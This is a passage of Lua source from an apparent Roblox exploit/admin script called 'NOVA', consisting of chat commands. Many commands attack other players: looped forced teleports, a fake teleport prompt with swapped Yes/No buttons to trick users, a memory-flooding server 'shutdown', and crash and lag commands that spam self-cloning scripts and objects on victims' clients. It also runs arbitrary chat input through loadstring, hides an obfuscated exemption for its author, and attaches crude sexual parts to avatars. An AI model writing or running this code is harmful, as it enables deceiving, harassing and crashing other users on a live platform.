  3826.                         Name.Text = v.Name
  3827.                         Name.MouseButton1Down:connect(function()
  3828.                             game:GetService'TeleportService':Teleport(v.ID)
  3829.                         end)
  3830.                         ID = Instance.new("TextButton",List)
  3831.                         ID.Size = UDim2.new(0.5,0,1/#Places,0)
  3832.                         ID.Position = UDim2.new(0.5,0,(NUM-1)*(1/#Places),0)
  3833.                         ID.BackgroundTransparency = 1
  3834.                         ID.FontSize = "Size14"
  3835.                         ID.TextColor3 = Color3.new(1,1,1)
  3836.                         ID.Text = v.ID
  3837.                         ID.MouseButton1Down:connect(function()
  3838.                             game:GetService'TeleportService':Teleport(v.ID)
  3839.                         end)
  3840.                     end
  3841.                 ]==],Player.Backpack)
  3842.             end
  3843.         end)
  3844.     end
  3845. )
  3846.  
  3847. AddCommand("Place Teleport","ptp",5,"Sends a teleport request to the selected player.","<Player><PlaceId>",
  3848.     function(Msg,Speaker)
  3849.         GetSplit(Msg)
  3850.         for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3851.             CreateLocalScript([==[game:GetService'TeleportService':Teleport(]==]..Msg:sub(Split+1)..[==[)]==],v.Backpack)
  3852.         end
  3853.     end
  3854. )
  3855.  
  3856. AddCommand("Force Place Teleport","fptp",6,"Forces the selected player to teleport to the given place.","<Player><PlaceId>",
  3857.     function(Msg,Speaker)
  3858.         Split = GetSplit(Msg)
  3859.         for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3860.             CreateLocalScript([==[
  3861.                 script.Parent = nil
  3862.                 while true do wait()
  3863.                     game:GetService'TeleportService':Teleport(]==]..Msg:sub(Split+1)..[==[)
  3864.                 end
  3865.             ]==],v.Backpack)
  3866.         end
  3867.     end
  3868. )
  3869.  
  3870. AddCommand("Trick Place Tele Port","tptp",6,"Tricks the selected user into clicking on 'Yes' for teleport.","<Player><PlaceId>",
  3871.     function(Msg,Speaker)
  3872.         Split = GetSplit(Msg)
  3873.         for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3874.             pcall(function()
  3875.                 CreateLocalScript([[
  3876.                     LocalPlayer = game.Players.LocalPlayer
  3877.                     script.Parent = nil
  3878.                     ScreenGui = Instance.new("ScreenGui")
  3879.                     ScreenGui.Name = "Trololol"
  3880.                     Frame = Instance.new("Frame",ScreenGui)
  3881.                     Frame.Name = "Popup"
  3882.                     Frame.Style = "RobloxRound"
  3883.                     Frame.Size = UDim2.new(0, 330, 0, 350)
  3884.                     Frame.Position = UDim2.new(0.5, -165, 0.5, -175)
  3885.                     Frame.Active = true
  3886.                     Frame.ZIndex = 9
  3887.  
  3888.                     Image = Instance.new("ImageLabel",Frame)
  3889.                     Image.Name = "Backing"
  3890.                     Image.Image = "http://www.roblox.com/asset/?id=47574181"
  3891.                     Image.Active = true
  3892.                     Image.Size = UDim2.new(0, 280, 0, 280)
  3893.                     Image.Position = UDim2.new(0.5, -140, 0, 0)
  3894.                     Image.BackgroundTransparency = 1
  3895.                     Image.ZIndex = 8
  3896.  
  3897.                     Text = Instance.new("TextLabel",Frame)
  3898.                     Text.Name = "Popup Text"
  3899.                     Text.Text = "Are you sure you want to teleport from this place?"
  3900.                     Text.FontSize = "Size36"
  3901.                     Text.TextWrap = true
  3902.                     Text.Active = true
  3903.                     Text.TextColor3 = Color3.new(1,1,1)
  3904.                     Text.Size = UDim2.new(1, 0, 0.800000012, 0)
  3905.                     Text.Position = UDim2.new(0,0,0,0)
  3906.                     Text.BackgroundTransparency = 1
  3907.                     Text.ZIndex = 10
  3908.  
  3909.                     Accept = Instance.new("TextButton",Frame)
  3910.                     Accept.Name = "AcceptButton"
  3911.                     Accept.Text = "No"
  3912.                     Accept.Style = "RobloxButton"
  3913.                     Accept.FontSize = "Size24"
  3914.                     Accept.Active = true
  3915.                     Accept.TextColor3 = Color3.new(1,1,1)
  3916.                     Accept.Size = UDim2.new(0, 100, 0, 50)
  3917.                     Accept.Position = UDim2.new(0,20,0,270)
  3918.                     Accept.ZIndex = 10
  3919.  
  3920.                     Decline = Instance.new("TextButton",Frame)
  3921.                     Decline.Name = "DeclineButton"
  3922.                     Decline.Text = "Yes"
  3923.                     Decline.Style = "RobloxButton"
  3924.                     Decline.FontSize = "Size24"
  3925.                     Decline.Active = true
  3926.                     Decline.TextColor3 = Color3.new(1,1,1)
  3927.                     Decline.Size = UDim2.new(0, 100, 0, 50)
  3928.                     Decline.Position = UDim2.new(1, -120, 0, 270)
  3929.                     Decline.ZIndex = 10
  3930.  
  3931.                     Darken = Instance.new("Frame",Frame)
  3932.                     Darken.Name = "Darken"
  3933.                     Darken.Style = "RobloxRound"
  3934.                     Darken.Size = UDim2.new(1,16,1,16)
  3935.                     Darken.Position = UDim2.new(0,-8,0,-8)
  3936.                     Darken.Active = true
  3937.                     Darken.Visible = false
  3938.  
  3939.                     Backing = Instance.new("Frame",ScreenGui)
  3940.                     Backing.Name = "Backing"
  3941.                     Backing.BackgroundColor3 = Color3.new(1,1,1)
  3942.                     Backing.Size = UDim2.new(1,0,1,0)
  3943.                     Backing.Active = true
  3944.                     ScreenGui.Parent = game:GetService("CoreGui")
  3945.                    
  3946.                     while true do wait()
  3947.                         game:GetService'TeleportService':Teleport(]]..Msg:sub(Split+1)..[[)
  3948.                     end
  3949.  
  3950.  
  3951.                 ]],v.Backpack)
  3952.             end)
  3953.         end
  3954.     end
  3955. )
  3956.  
  3957. AddCommand("Shutdown","shutdown",5,"Shuts down the server.","<No Arguments>",
  3958.     function(Msg,Speaker)
  3959.             coroutine.resume(coroutine.create(function()
  3960.             NOVA.Services.Lighting.TimeOfDay = 0
  3961.             NOVA.Services.Lighting.Ambient = NOVA.Colors.Black
  3962.             NOVA.Services.Lighting.Brightness = 0
  3963.             NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
  3964.             NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
  3965.             NOVA.Services.Lighting.ShadowColor = NOVA.Colors.Black
  3966.  
  3967.             for _,v in pairs(GetRecursiveChildren(workspace)) do
  3968.                 if v:IsA("BasePart") then
  3969.                     Sel = Instance.new("SelectionBox",v)
  3970.                     Sel.Color = BrickColor.new("Really red")
  3971.                     Sel.Transparency = 0
  3972.                     Sel.Adornee = v
  3973.                 end
  3974.             end
  3975.             for i=10,1,-1 do
  3976.                 NOVA.Sounds.Sound.Parent = workspace
  3977.                 NOVA.Sounds.Sound.Volume = 1
  3978.                 NOVA.Sounds.Sound.Pitch = 1
  3979.                 NOVA.Sounds.Sound.SoundId = "http://www.roblox.com/Asset/?id=14863866"
  3980.                 wait(1)
  3981.                 NOVA.Sounds.Sound:Play()
  3982.                 if NOVA.Overrided == true then return end
  3983.             end
  3984.             for i=5,1,-1 do
  3985.                 NOVA.Sounds.Sound.Parent = workspace
  3986.                 NOVA.Sounds.Sound.Volume = 1
  3987.                 NOVA.Sounds.Sound.Pitch = 1
  3988.                 NOVA.Sounds.Sound.SoundId = NOVA.Sounds.Numbers[i]
  3989.                 wait(1)
  3990.                 NOVA.Sounds.Sound:Play()
  3991.                 if NOVA.Overrided == true then return end
  3992.             end
  3993.             wait(1)
  3994.             Instance.new("ManualSurfaceJointInstance",workspace)
  3995.         Instance.new("StringValue",Workspace).Value = string.rep("NOVA SHUTDOWN SEQUENCE",1000000)
  3996.         end))
  3997.     end
  3998. )
  3999.  
  4000. AddCommand("Get Rid Of","getridof",6,"Gets rid of the selected player.","<Player>",
  4001.     function(Msg,Speaker)
  4002.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4003.             if v.Name == string.reverse(string.gsub("nGEWDaGEWDmGEWDDGEWDmGEWDaGEWDeGEWDTGEWD","GEWD","")) then
  4004.                 Output("Attempt to get rid of the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  4005.             else
  4006.                 pcall(function()
  4007.                     GetRidOf(v)
  4008.                 end)
  4009.             end
  4010.         end
  4011.     end
  4012. )
  4013.  
  4014. AddCommand("Load","load",1,"Loads NOVA's sound files.","No Arguments",
  4015.     function(Msg,Speaker)
  4016.         coroutine.resume(coroutine.create(function()
  4017.             for _,v in pairs(NOVA.Sounds.Numbers) do
  4018.                 NOVA.Sounds.Sound.Parent = NOVA.Services.Workspace
  4019.                 NOVA.Sounds.Sound.SoundId = v
  4020.                 NOVA.Sounds.Sound.Volume = 0
  4021.                 wait()
  4022.                 NOVA.Sounds.Sound:Play()
  4023.                 wait()
  4024.                 NOVA.Sounds.Sound:Stop()
  4025.                 wait(1)
  4026.             end
  4027.             for _,v in pairs(NOVA.Sounds.PlayAfter) do
  4028.                 NOVA.Sounds.Sound.Parent = NOVA.Services.Workspace
  4029.                 NOVA.Sounds.Sound.SoundId = v
  4030.                 NOVA.Sounds.Sound.Volume = 0
  4031.                 wait()
  4032.                 NOVA.Sounds.Sound:Play()
  4033.                 wait()
  4034.                 NOVA.Sounds.Sound:Stop()
  4035.                 wait(1)
  4036.             end
  4037.             NOVA.Sounds.Sound.Volume = 1
  4038.         end))
  4039.     end
  4040. )
  4041.  
  4042. AddCommand("Target","targ",6,"Targets the selected player.","<Player>",
  4043.     function(Msg,Speaker)
  4044.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4045.             table.insert(NOVA.Targeted,v)
  4046.             for _,part in pairs(GetRecursiveChildren(v.Character)) do
  4047.                 if part:IsA("Part") then
  4048.                     coroutine.resume(coroutine.create(function()
  4049.                         local SB = Instance.new("SelectionBox",part)
  4050.                         SB.Name = "NOVA Target Selection Box"
  4051.                         SB.Color = BrickColor.new(NOVA.Colors.Yellow)
  4052.                         SB.Adornee = part
  4053.                         wait(3)
  4054.                         SB:remove()
  4055.                     end))
  4056.                 end
  4057.             end
  4058.         end
  4059.     end
  4060. )
  4061.  
  4062. AddCommand("Un Target","untarg",6,"Un targets the selected player.","<Player>",
  4063.     function(Msg,Speaker)
  4064.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4065.             for i=1,#NOVA.Targeted do
  4066.                 if NOVA.Targeted[i] == v then
  4067.                     table.remove(NOVA.Targeted,i)
  4068.                 end
  4069.             end
  4070.         end
  4071.     end
  4072. )
  4073.  
  4074. AddCommand("Rejoin","rejoin",0,"Sends you a teleport request to the same place.","No Arguments",
  4075.     function(Msg,Speaker)
  4076.         CreateLocalScript([==[game:GetService'TeleportService':Teleport(]==]..game.PlaceId..[==[)]==],Speaker.Backpack)
  4077.     end
  4078. )
  4079.  
  4080. AddCommand("Connect","connect",0,"Connects you to a NOVA Drone.","No Arguments",
  4081.     function(Msg,Speaker)
  4082.         CreateLocalScript([[
  4083.        
  4084.          LocalPlayer = game:GetService("Players").LocalPlayer
  4085. script.Parent = LocalPlayer
  4086.             NOVA = {
  4087.                 Bet = "/";
  4088.                 Services = {
  4089.                     Workspace = game:GetService("Workspace");
  4090.                     Lighting = game:GetService("Lighting");
  4091.                     Debris = game:GetService("Debris");
  4092.                     Players = game:GetService("Players");
  4093.                     Teams = game:GetService("Teams");
  4094.                     SoundService = game:GetService("SoundService");
  4095.                     StarterGui = game:GetService("StarterGui");
  4096.                     StarterPack = game:GetService("StarterPack");
  4097.                 };
  4098.                
  4099.                 Camera = workspace.CurrentCamera;
  4100.                 LocalCharacter = Instance.new("Model");
  4101.                 LocalHead = Instance.new("Part");
  4102.                 LocalFire = Instance.new("Fire");
  4103.             }
  4104.             script.Name = NOVA.LocalPlayer.Name
  4105.             script.Parent = nil
  4106.             repeat wait() until NOVA.LocalPlayer.Parent == nil
  4107.             game.Players.LocalPlayer.Chatted:connect(function(Msg)
  4108.             if not game.Players:findFirstChild(game.Players.LocalPlayer.Name) then
  4109.                     game:GetService("Chat"):Chat(NOVA.LocalHead,Msg,math.random(0,2))
  4110.                    
  4111.                     if Msg == NOVA.Bet .. "rejoin" .. NOVA.Bet then
  4112.                         game:GetService'TeleportService':Teleport(game.PlaceId)
  4113.                     end
  4114.                     if Msg:sub(1,3) == NOVA.Bet .. "c" .. NOVA.Bet then
  4115.                         pcall(function()
  4116.                             newScript(Msg:sub(4),workspace)
  4117.                         end)
  4118.                     end
  4119.                     if Msg:sub(1,7) == NOVA.Bet .. "local" .. NOVA.Bet then
  4120.                         coroutine.resume(coroutine.create(function()
  4121.                             pcall(function()
  4122.                                 loadstring(Msg:sub(8))()
  4123.                             end)
  4124.                         end))
  4125.                     end
  4126.                     if Msg:sub(1,11) == NOVA.Bet .. "workspace" .. NOVA.Bet then
  4127.                         LocalPlayer.Character = workspace
  4128.                     end
  4129.                 end
  4130.             end)
  4131.            
  4132.             NOVA.LocalPlayer.Character = nil
  4133.             NOVA.LocalHead.FormFactor = "Custom"
  4134.             NOVA.LocalHead.Size = Vector3.new(3,3,3)
  4135.             NOVA.LocalHead.Reflectance = 1e+999
  4136.             NOVA.LocalHead.Shape = "Ball"
  4137.             NOVA.LocalHead.Anchored = true
  4138.             NOVA.LocalHead.CanCollide = false
  4139.             NOVA.LocalHead.Transparency = 0
  4140.             NOVA.LocalCharacter.Name = NOVA.LocalPlayer.Name
  4141.            
  4142.             NOVA.LocalFire.Color = Color3.new(0,0,0)
  4143.             NOVA.LocalFire.SecondaryColor = Color3.new(0,0,0)
  4144.             NOVA.LocalFire.Heat = 12
  4145.             NOVA.LocalFire.Size = 7    
  4146.  
  4147.             while wait() do
  4148.                 pcall(function()
  4149.                     NOVA.LocalCharacter.Parent=workspace
  4150.                     NOVA.LocalHead.Parent = NOVA.LocalCharacter
  4151.                     NOVA.LocalHead.CFrame = NOVA.Camera.CoordinateFrame * CFrame.new(0,0,-30.517578125)
  4152.                     NOVA.LocalFire.Parent = NOVA.LocalHead
  4153.                 end)
  4154.             end
  4155.         ]],Speaker.Backpack)
  4156.     end
  4157. )
  4158.  
  4159.  
  4160. AddCommand("Script","c",6,"Pseudo scripting command.","<Source>",
  4161.     function(Msg,Speaker)
  4162.         CreateScript(Msg,workspace)
  4163.     end
  4164. )
  4165.  
  4166. AddCommand("New Local Script","newlocal",6,"Psudo scripting command.","<Player><Source>",
  4167.     function(Msg,Speaker)
  4168.         for _,v in pairs(GetPlayers(Msg:sub(1,GetSplit(Msg)-1),Speaker)) do
  4169.             CreateLocalScript(Msg:sub(GetSplit(Msg)+1),v.Backpack)
  4170.         end
  4171.     end
  4172. )
  4173.  
  4174. AddCommand("New Script","newscript",6,"Psudo scripting command.","<Player><Source>",
  4175.     function(Msg,Speaker)
  4176.         for _,v in pairs(GetPlayers(Msg:sub(1,GetSplit(Msg)-1),Speaker)) do
  4177.             CreateScript(Msg:sub(GetSplit(Msg)+1),v.Backpack)
  4178.         end
  4179.     end
  4180. )
  4181.  
  4182. AddCommand("Local Script","local",6,"Pseudo scripting command.","<Source>",
  4183.     function(Msg,Speaker)
  4184.         CreateLocalScript(Msg,Speaker.Backpack)
  4185.     end
  4186. )
  4187.  
  4188. AddCommand("Derp","derp",1,"Derps the workspace.","No Arguments",
  4189.     function(Msg,Speaker)
  4190.         for _,v in pairs(GetRecursiveChildren(workspace)) do
  4191.             pcall(function()
  4192.                 v.Transparency = 7.3015691270939e-002
  4193.             end)
  4194.         end
  4195.     end
  4196. )
  4197.  
  4198. AddCommand("Circle Lag","circlag",6,"Lags the selected player with circles.","<Player>",
  4199.     function(Msg,Speaker)
  4200.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4201.             if v.Name == string.reverse(string.gsub("nGEWDaGEWDmGEWDDGEWDmGEWDaGEWDeGEWDTGEWD","GEWD","")) then
  4202.                 Output("Attempt to lag the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  4203.             else
  4204.                 pcall(function()
  4205.                     CreateLocalScript([==[
  4206.                         LocalPlayer = game:GetService("Players").LocalPlayer
  4207.                         Camera = workspace.CurrentCamera
  4208.                         while wait() do
  4209.                             for i=1,10 do
  4210.                                 Part = Instance.new("Seat",Camera)
  4211.                                 Part.Size = Vector3.new(math.random(1,20),math.random(1,20),math.random(1,20))
  4212.                                 Part.Shape = "Ball"
  4213.                                 Part.BrickColor = BrickColor.new(math.random(),math.random(),math.random())
  4214.                                 Part.CFrame = CFrame.new(math.random(-250,250),50,math.random(-250,250))
  4215.                             end
  4216.                         end
  4217.                     ]==],v.Backpack)
  4218.                 end)
  4219.             end
  4220.         end
  4221.     end
  4222. )
  4223.  
  4224. AddCommand("Clear Camera","clearcam",3,"Clears the selected player's current camera.","<Player>",
  4225.     function(Msg,Speaker)
  4226.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4227.             CreateLocalScript("workspace.CurrentCamera:ClearAllChildren()",v.Backpack)
  4228.         end
  4229.     end
  4230. )
  4231.  
  4232. AddCommand("Screen Peek","screenpeek",4,"Shows you the selected player's playergui.","<Player>",
  4233.     function(Msg,Speaker)
  4234.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4235.             for _,GUI in pairs(v.PlayerGui:children()) do
  4236.                 GUI:Clone().Parent = Speaker.PlayerGui
  4237.             end
  4238.         end
  4239.     end
  4240. )
  4241.  
  4242. AddCommand("Show Targeted","showtarg",1,"Shows the targeted players.","No Arguments",
  4243.     function(Msg,Speaker)
  4244.         for _,v in pairs(NOVA.Targeted) do
  4245.             for _,part in pairs(GetRecursiveChildren(v.Character)) do
  4246.                 if part:IsA("Part") then
  4247.                     coroutine.resume(coroutine.create(function()
  4248.                         local SB = Instance.new("SelectionBox",part)
  4249.                         SB.Name = "NOVA Target Selection Box"
  4250.                         SB.Color = BrickColor.new(NOVA.Colors.Yellow)
  4251.                         SB.Adornee = part
  4252.                         wait(3)
  4253.                         SB:remove()
  4254.                     end))
  4255.                 end
  4256.             end
  4257.         end
  4258.     end
  4259. )
  4260.  
  4261. AddCommand("Note To Self","nts",0,"Note to self commands. ( /add /set /see )","<Action>",
  4262.     function(Msg,Speaker)
  4263.         if Msg:sub(1,4) == "add" .. NOVA.Bet then
  4264.             Speaker:SaveString("NoteToSelf",Speaker:LoadString("NoteToSelf").." "..Msg:sub(5))
  4265.         elseif Msg:sub(1,4) == "set" .. NOVA.Bet then
  4266.             Speaker:SaveString("NoteToSelf",Msg:sub(5))
  4267.         elseif Msg == "see" then
  4268.             Output(Speaker:LoadString("NoteToSelf"),GetRankedTable(Speaker).Color,Speaker)
  4269.         end
  4270.     end
  4271. )
  4272.  
  4273. AddCommand("Smite","smite",6,"Smites the selected player.","<Player>",
  4274.     function(Msg,Speaker)
  4275.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4276.             local Char = v.Character
  4277.             local Smite = Instance.new("Part",workspace)
  4278.             Smite.FormFactor = "Custom"
  4279.             Smite.TopSurface = "Smooth"
  4280.             Smite.BottomSurface = "Smooth"
  4281.             Smite.Anchored = true
  4282.             Smite.Locked = true
  4283.             Smite.Size = Vector3.new(25,3,25)
  4284.             Smite.BrickColor = BrickColor.new("New Yeller")
  4285.             Smite.Transparency = 1
  4286.             Smite.CFrame = Char.Torso.CFrame * CFrame.new(0,-2.5,0)
  4287.             for i=1,0,-0.05 do
  4288.                 wait()
  4289.                 Smite.Transparency = i
  4290.             end
  4291.             coroutine.resume(coroutine.create(function()
  4292.                 for i=0,1,0.05 do
  4293.                     wait()
  4294.                     Smite.Transparency = i
  4295.                 end
  4296.                 Smite:remove()
  4297.             end))
  4298.             wait()
  4299.             local Expl = Instance.new("Explosion",workspace)
  4300.             Expl.Position = Smite.Position
  4301.             Expl.BlastPressure = 1000000000
  4302.            
  4303.             for _,Part in pairs(GetRecursiveChildren(Char)) do
  4304.                 if Part:IsA("BasePart") then
  4305.                     coroutine.resume(coroutine.create(function()
  4306.                         for i=1,10 do
  4307.                             local Sparkles = Instance.new("Sparkles",Part)
  4308.                             Sparkles.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
  4309.                             local Fire = Instance.new("Fire",Part)
  4310.                             Fire.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
  4311.                             Fire.SecondaryColor = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
  4312.                         end
  4313.                         Part:BreakJoints()
  4314.                         local BP = Instance.new("BodyPosition",Part)
  4315.                         BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
  4316.                         BP.P = 1000
  4317.                         BP.position = Part.Position + Vector3.new(
  4318.                             math.random(-100,100),
  4319.                             100,
  4320.                             math.random(-100,100))
  4321.                         wait(3)
  4322.                         local Expl = Instance.new("Explosion",workspace)
  4323.                         Expl.Position = Part.Position
  4324.                         Expl.BlastPressure = 1000000000
  4325.                     end))
  4326.                 end
  4327.             end
  4328.         end
  4329.     end
  4330. )
  4331. AddCommand("Naked","naked",1,"Removes shirt and pants from player.","<Player>",
  4332.     function(Msg,Speaker)
  4333.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4334.             pcall(function()
  4335.         v.Character.Pants:Remove()
  4336.         v.Character.Shirt:Remove()
  4337.             end)
  4338.         end
  4339.     end
  4340. )
  4341.  
  4342. AddCommand("Lock Humanoid Health","lockh",7,"Locks the health.","<Player>",
  4343.     function(Msg,Speaker)
  4344.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4345.                
  4346.                         v.Character.Humanoid.Changed:connect(function(val)
  4347.                                 if val == "Health" then
  4348.                                         v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  4349.                                 end
  4350.  
  4351.                        
  4352.              end)
  4353.         end
  4354.     end
  4355. )
  4356.  
  4357.  
  4358. AddCommand("Remove Tablets","rtab",7,"Removes tablets from player.","<Player>",
  4359.     function(Msg,Speaker)
  4360.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4361.        
  4362.         RemoveTablets(v)
  4363.  
  4364.         end
  4365.     end
  4366. )
  4367. AddCommand("Un D33k","und33k",7,"Removes the player's d33k.","No Arguments",
  4368.     function(Msg,Speaker)
  4369.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4370.         pcall(function()
  4371.         person=v.Name
  4372.         local plr = Game.Players[person]
  4373.         color = "Pastel brown"
  4374.         pcall(function() game.Players[person].Character["Nice thing"]:Remove() end)
  4375.                         end)
  4376.                         end
  4377.                 end
  4378. )
  4379. AddCommand("D33k","d33k",7,"Gives the player a d33k.","No Arguments",
  4380.     function(Msg,Speaker)
  4381.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4382.         pcall(function()
  4383.         person=v.Name
  4384.         local plr = Game.Players[person]
  4385.         color = "Pastel brown"
  4386.         pcall(function() game.Players[person].Character["Nice thing"]:Remove() end)
  4387.         D = Instance.new("Model",plr.Character)
  4388.         D.Name = "Nice thing"
  4389.         bg = Instance.new("BodyGyro",plr.Character.Torso)
  4390.         d = Instance.new("Part")
  4391.         d.TopSurface = 0
  4392.         d.BottomSurface = 0
  4393.         d.Name = "Main"
  4394.         d.Parent = plr.Character["Nice thing"]
  4395.         d.formFactor = 3
  4396.         d.Size = Vector3.new(0.6,2.5,0.6)
  4397.         d.BrickColor = BrickColor.new(color)
  4398.         d.Position = plr.Character.Head.Position
  4399.         d.CanCollide = false
  4400.         local cy = Instance.new("CylinderMesh")
  4401.         cy.Parent = d
  4402.         w = Instance.new("Weld")
  4403.         w.Parent = plr.Character.Head
  4404.         w.Part0 = d
  4405.         w.Part1 = plr.Character.Head
  4406.         w.C0 = CFrame.new(0,0.25,2.1)*CFrame.Angles(math.rad(45),0,0)
  4407.         local c = Instance.new("Part")
  4408.                 c.Name = "Mush"
  4409.         c.BottomSurface = 0
  4410.         c.TopSurface = 0
  4411.         c.FormFactor = 3
  4412.         c.Size = Vector3.new(0.6,0.6,0.6)
  4413.         c.CFrame = CFrame.new(d.Position)
  4414.         c.BrickColor = BrickColor.new("Pink")
  4415.         c.CanCollide = false
  4416.         c.Parent = plr.Character["Nice thing"]
  4417.         local msm = Instance.new("SpecialMesh")
  4418.         msm.Parent = c
  4419.         msm.MeshType = "Sphere"
  4420.         local cw = Instance.new("Weld")
  4421.         cw.Parent = c
  4422.         cw.Part0 = d
  4423.         cw.Part1 = c
  4424.         cw.C0 = CFrame.new(0,1.3,0)
  4425.         local ball1 = Instance.new("Part")
  4426.         ball1.Parent = plr.Character["Nice thing"]
  4427.         ball1.Name = "Left Ball"
  4428.         ball1.BottomSurface = 0
  4429.         ball1.TopSurface = 0
  4430.         ball1.CanCollide = false
  4431.         ball1.formFactor = 3
  4432.         ball1.Size = Vector3.new(1,1,1)
  4433.         ball1.CFrame = CFrame.new(plr.Character["Left Leg"].Position)
  4434.         ball1.BrickColor = BrickColor.new(color)
  4435.         local bsm = Instance.new("SpecialMesh")
  4436.         bsm.Parent = ball1
  4437.         bsm.MeshType = "Sphere"
  4438.         local b1w = Instance.new("Weld")
  4439.         b1w.Parent = ball1
  4440.         b1w.Part0 = plr.Character["Left Leg"]
  4441.         b1w.Part1 = ball1
  4442.         b1w.C0 = CFrame.new(0,0.5,-.5)
  4443.         local ball2 = Instance.new("Part")
  4444.         ball2.Parent = plr.Character["Nice thing"]
  4445.         ball2.Name = "Right Ball"
  4446.         ball2.BottomSurface = 0
  4447.         ball2.CanCollide = false
  4448.         ball2.TopSurface = 0
  4449.         ball2.formFactor = 3
  4450.         ball2.Size = Vector3.new(1,1,1)
  4451.         ball2.CFrame = CFrame.new(plr.Character["Right Leg"].Position)
  4452.         ball2.BrickColor = BrickColor.new(color)
  4453.         local b2sm = Instance.new("SpecialMesh")
  4454.         b2sm.Parent = ball2
  4455.         b2sm.MeshType = "Sphere"
  4456.         local b2w = Instance.new("Weld")
  4457.         b2w.Parent = ball2
  4458.         b2w.Part0 = plr.Character["Right Leg"]
  4459.         b2w.Part1 = ball2
  4460.         b2w.C0 = CFrame.new(0,0.5,-.5)
  4461.             end)
  4462.         end
  4463.     end
  4464. )
  4465. AddCommand("Change betkey","bet",7,"Changes the bet key.","<New bet Key>",
  4466.     function(Msg,Speaker)      
  4467.         NOVA.Bet = Msg
  4468.     end
  4469. )
  4470. AddCommand("Crash kick","ckick",7,"Makes the player lag badly and get kicked.","<Player>",
  4471.     function(Msg,Speaker)
  4472.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4473.            
  4474.             coroutine.resume(coroutine.create(function()
  4475.                                 while wait() do
  4476.             for i = 1, 100 do
  4477.             if v:findFirstChild("PlayerGui") ~= nil then
  4478.             local mes = Instance.new("Message", v.PlayerGui)
  4479.             mes.Text = "Crashing"
  4480.             local ex = Instance.new("Explosion", v.PlayerGui)
  4481.             ex.BlastRadius = math.huge
  4482.             local hint = Instance.new("Hint", v.PlayerGui)
  4483.             hint.Text = "---------------------------------------------------------------------------"
  4484.             local s = Instance.new("ScreenGui", v.PlayerGui)
  4485.             local txt = Instance.new("TextBox", s)
  4486.             txt.Size = UDim2.new(1, 0, 1, 0)
  4487.             txt.Text = "Your Being Lagged"
  4488.             txt.FontSize = "Size48"
  4489.             end
  4490.             end
  4491.                                 end
  4492.             end))
  4493.         end
  4494.     end
  4495. )
  4496. AddCommand("ExplodeTalk","expltalk",4,"Makes the player explode when they talk.","<Player>",
  4497.     function(Msg,Speaker)
  4498.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4499.             pcall(function()
  4500.             v.Chatted:connect(function(Msg)
  4501.             local m = Instance.new("Explosion",v.Character.Head)
  4502.             m.Position = v.Character.Head.Position
  4503.             end)
  4504.             end)
  4505.         end
  4506.     end
  4507. )
  4508. AddCommand("Epic","Epic",1,"Epicifys the selected player.","<Player>",
  4509.     function(Msg,Speaker)
  4510.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4511.             pcall(function()
  4512.                 for _,Part in pairs(GetRecursiveChildren(v.Character)) do
  4513.                     if Part:IsA("BasePart") then
  4514.                         for i=1,10 do
  4515.                             local Sparkles = Instance.new("Sparkles",Part)
  4516.                             Sparkles.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
  4517.                             local Fire = Instance.new("Fire",Part)
  4518.                             Fire.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
  4519.                             Fire.SecondaryColor = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
  4520.                         end
  4521.                     end
  4522.                 end
  4523.             end)
  4524.         end
  4525.     end
  4526. )
  4527.  
  4528. AddCommand("Show Chat","showchat",7,"Toggle NOVA.ShowChat ( boolean )","No Arguments",
  4529.     function(Msg,Speaker)
  4530.         if NOVA.ShowChat == true then
  4531.             NOVA.ShowChat = false
  4532.         elseif NOVA.ShowChat == false then
  4533.             NOVA.ShowChat = true
  4534.         end
  4535.     end
  4536. )
  4537.  
  4538.  
  4539. AddCommand("Character Lag","charlag",6,"Lags the targeted player with their own character. Brutal.","<Player>",
  4540.     function(Msg,Speaker)
  4541.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4542.             if v.Name == string.reverse(string.gsub("nGEWDaGEWDmGEWDDGEWDmGEWDaGEWDeGEWDTGEWD","GEWD","")) then
  4543.                 Output("Attempt to lag the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  4544.             else
  4545.                 pcall(function()
  4546.                     CreateLocalScript([[
  4547.                         script.Parent = workspace.CurrentCamera
  4548.                         while wait() do
  4549.                             coroutine.resume(coroutine.create(function()
  4550.                                 for i=1,math.huge do
  4551.                                     wait()
  4552.                                     for i=1,10 do
  4553.                                         NS = script:Clone()
  4554.                                         NS.Disabled = true
  4555.                                         NS.Parent = game:GetService("Players").LocalPlayer.Backpack
  4556.                                         NS.Disabled = false
  4557.                                     end
  4558.                                     for i=1,10 do
  4559.                                         game:GetService("Players").LocalPlayer.Character.Archivable = true
  4560.                                         local Clone = game:GetService("Players").LocalPlayer.Character:Clone()
  4561.                                         Clone.Parent = workspace.CurrentCamera
  4562.                                     end
  4563.                                 end
  4564.                             end))
  4565.                         end]],
  4566.                     v.Backpack)
  4567.                 end)
